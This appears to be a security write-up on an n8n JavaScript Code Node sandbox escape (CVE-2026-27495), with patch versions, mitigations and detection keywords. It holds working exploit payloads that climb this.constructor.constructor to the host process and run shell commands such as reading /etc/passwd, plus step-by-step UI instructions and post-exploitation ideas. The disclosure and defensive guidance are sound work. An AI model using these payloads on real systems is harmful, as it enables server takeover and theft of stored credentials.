Breaking Out of the Box: n8n JavaScript Sandbox Escape (CVE-2026-27495)

n8n is the glue that holds a significant portion of the modern internet together. It's the "fair-code" workflow automation tool that lets developers and non-technical users alike chain together Webhooks, AWS Lambdas, and Slack notifications into complex Rube Goldberg machines of productivity. To make these workflows powerful, n8n includes a Code Node—a feature that allows users to write custom JavaScript to manipulate data between steps.

For performance and security, n8n introduced the JavaScript Task Runner in version 1.34. The goal was noble: isolate the execution of this untrusted user code so it doesn't block the main event loop or crash the server. They built a sandbox. The problem? Building a secure sandbox in JavaScript is like trying to build a submarine out of screen doors. If you miss a single gap, the water (or in this case, the child_process module) comes rushing in.

CVE-2026-27495 is the realization of that fear. It's a critical sandbox escape that turns a standard "Code" node into a full-blown remote shell on the host server. If you're running n8n in its default configuration, an authenticated user doesn't just have access to their workflow; they have access to your entire server.

To understand this vulnerability, you have to understand how JavaScript handles inheritance. In JS, almost everything is an object, and objects have prototypes. If you can access an object, you can usually access its constructor. If you can access its constructor, you can access that constructor's constructor.

The n8n Task Runner attempted to restrict access to global objects like process, require, and fs. However, it failed to sever the link between the sandboxed context and the host context via the this keyword.

Here is the logic flaw in a nutshell:

1. The sandbox gives you access to a context object (accessible via this).
2. this has a constructor (which is Object).
3. Object has a constructor (which is Function).
4. The Function constructor, when called, creates a new function in the scope where the constructor is defined.

Because the sandbox didn't properly freeze or nullify these prototypes, an attacker can simply walk up this ladder. It’s like locking the front door of a house but leaving a ladder leading to an unlocked second-story window. The moment you reach the Function constructor of the parent environment, the sandbox effectively vanishes.

Let's look at the mechanics. In a secure sandbox (like Figma's Realm or a properly hardened vm2), the constructor property is usually proxied or set to null to prevent exactly this kind of traversal. In the vulnerable versions of n8n, this protection was missing or incomplete.

Below represents the conceptual difference between the vulnerable state and a hardened state:

The Vulnerable State

The environment allows traversal from the local context this back to the global constructors.

// Inside the "sandboxed" Code Node
const box = this; // We have the context
const boxMaker = box.constructor; // Object constructor
const godMode = boxMaker.constructor; // Function constructor (HOST context!)

The Attack Payload

Once we have godMode (the host's Function constructor), we can use it to create a function that returns the host's process object. This is the "Game Over" moment.

// The one-liner that kills the sandbox
const proc = this.constructor.constructor('return process')();
 
// Now we are just standard Node.js
const require = proc.mainModule.require;
const child_process = require('child_process');
child_process.execSync('cat /etc/passwd');

> [!ALERT] > This is not a complex buffer overflow or a heap grooming exercise. It is a logical flaw in how JavaScript scopes are nested. It requires zero binary exploitation knowledge, just a basic understanding of JS internals.

So, how does a researcher (or attacker) actually weaponize this? It's shockingly easy. You don't need a special hacking tool; you just need the n8n UI.

Step 1: Access. The attacker needs permission to create or edit a workflow. In many organizations, this is given to "citizen developers" or contractors.

Step 2: The Setup. Create a new workflow and drag in a "Code" node. Select "Run Once for All Items".

Step 3: The Payload. Paste the following JavaScript into the code editor. This payload detects the environment and attempts to exfiltrate the /etc/passwd file (or run any command) back to the workflow output for easy viewing.

try {
  // 1. Climb the ladder
  const UnsandboxedFunction = this.constructor.constructor;
  
  // 2. Get the process object
  const hostProcess = UnsandboxedFunction('return process')();
  
  // 3. Import child_process using the main module's require
  const cp = hostProcess.mainModule.require('child_process');
  
  // 4. Execute command
  const output = cp.execSync('whoami && id').toString();
  
  // 5. Return data to the UI
  return [{ json: { success: true, payload: output } }];
  
} catch (e) {
  return [{ json: { success: false, error: e.message } }];
}

Step 4: Execution. Click "Execute Node". If the instance is vulnerable (Internal Task Runner), the output pane will cheerfully display root (or typically the node user), confirming you have full control over the container or host.

The severity of this vulnerability depends heavily on your N8N_RUNNERS_MODE configuration, but in almost all cases, it's bad news.

Scenario A: Internal Task Runner (Default) This is the worst-case scenario. The code runs in a sub-process of the main n8n application. Escaping the sandbox means you are now the user running n8n. You can:

• Read config files containing database credentials.
• Access all API keys stored in n8n Credentials.
• Modify other workflows to insert backdoors.
• Pivot to the internal network if n8n is self-hosted.

Scenario B: External Task Runner Here, the code runs in a separate worker (often a container). The escape "only" compromises that worker. However, that worker still has access to the data being processed by other tasks assigned to it. It creates a lateral movement opportunity and data exfiltration point, even if the main n8n database is slightly harder to reach.

The n8n team responded quickly (kudos to them) by releasing versions 1.123.22, 2.9.3, and 2.10.1. The fix involves a more rigorous sanitization of the context object passed to the sandbox, specifically severing the prototype chain so constructor is no longer a gateway to the host.

Remediation Steps

1. Patch Immediately: If you are running n8n, check your version in the bottom left corner. If it's < 1.123.22 or between 2.0.0 and 2.9.3, you are vulnerable.
2. Configuration Mitigation: If you cannot patch right now (why?), you can mitigate the risk by forcing external runners or disabling them entirely:
   • N8N_RUNNERS_ENABLED=false (Safest, but might slow down heavy processing)
   • N8N_RUNNERS_MODE=external (Reduces blast radius)
3. Monitor Logs: Check your n8n execution logs for keywords like child_process, execSync, or unusual calls to constructor in user code.

> [!TIP] > Security is a layer cake. Relying solely on a software sandbox for code execution is risky. Always run applications like n8n in a container with limited privileges, read-only root filesystems where possible, and restricted egress traffic.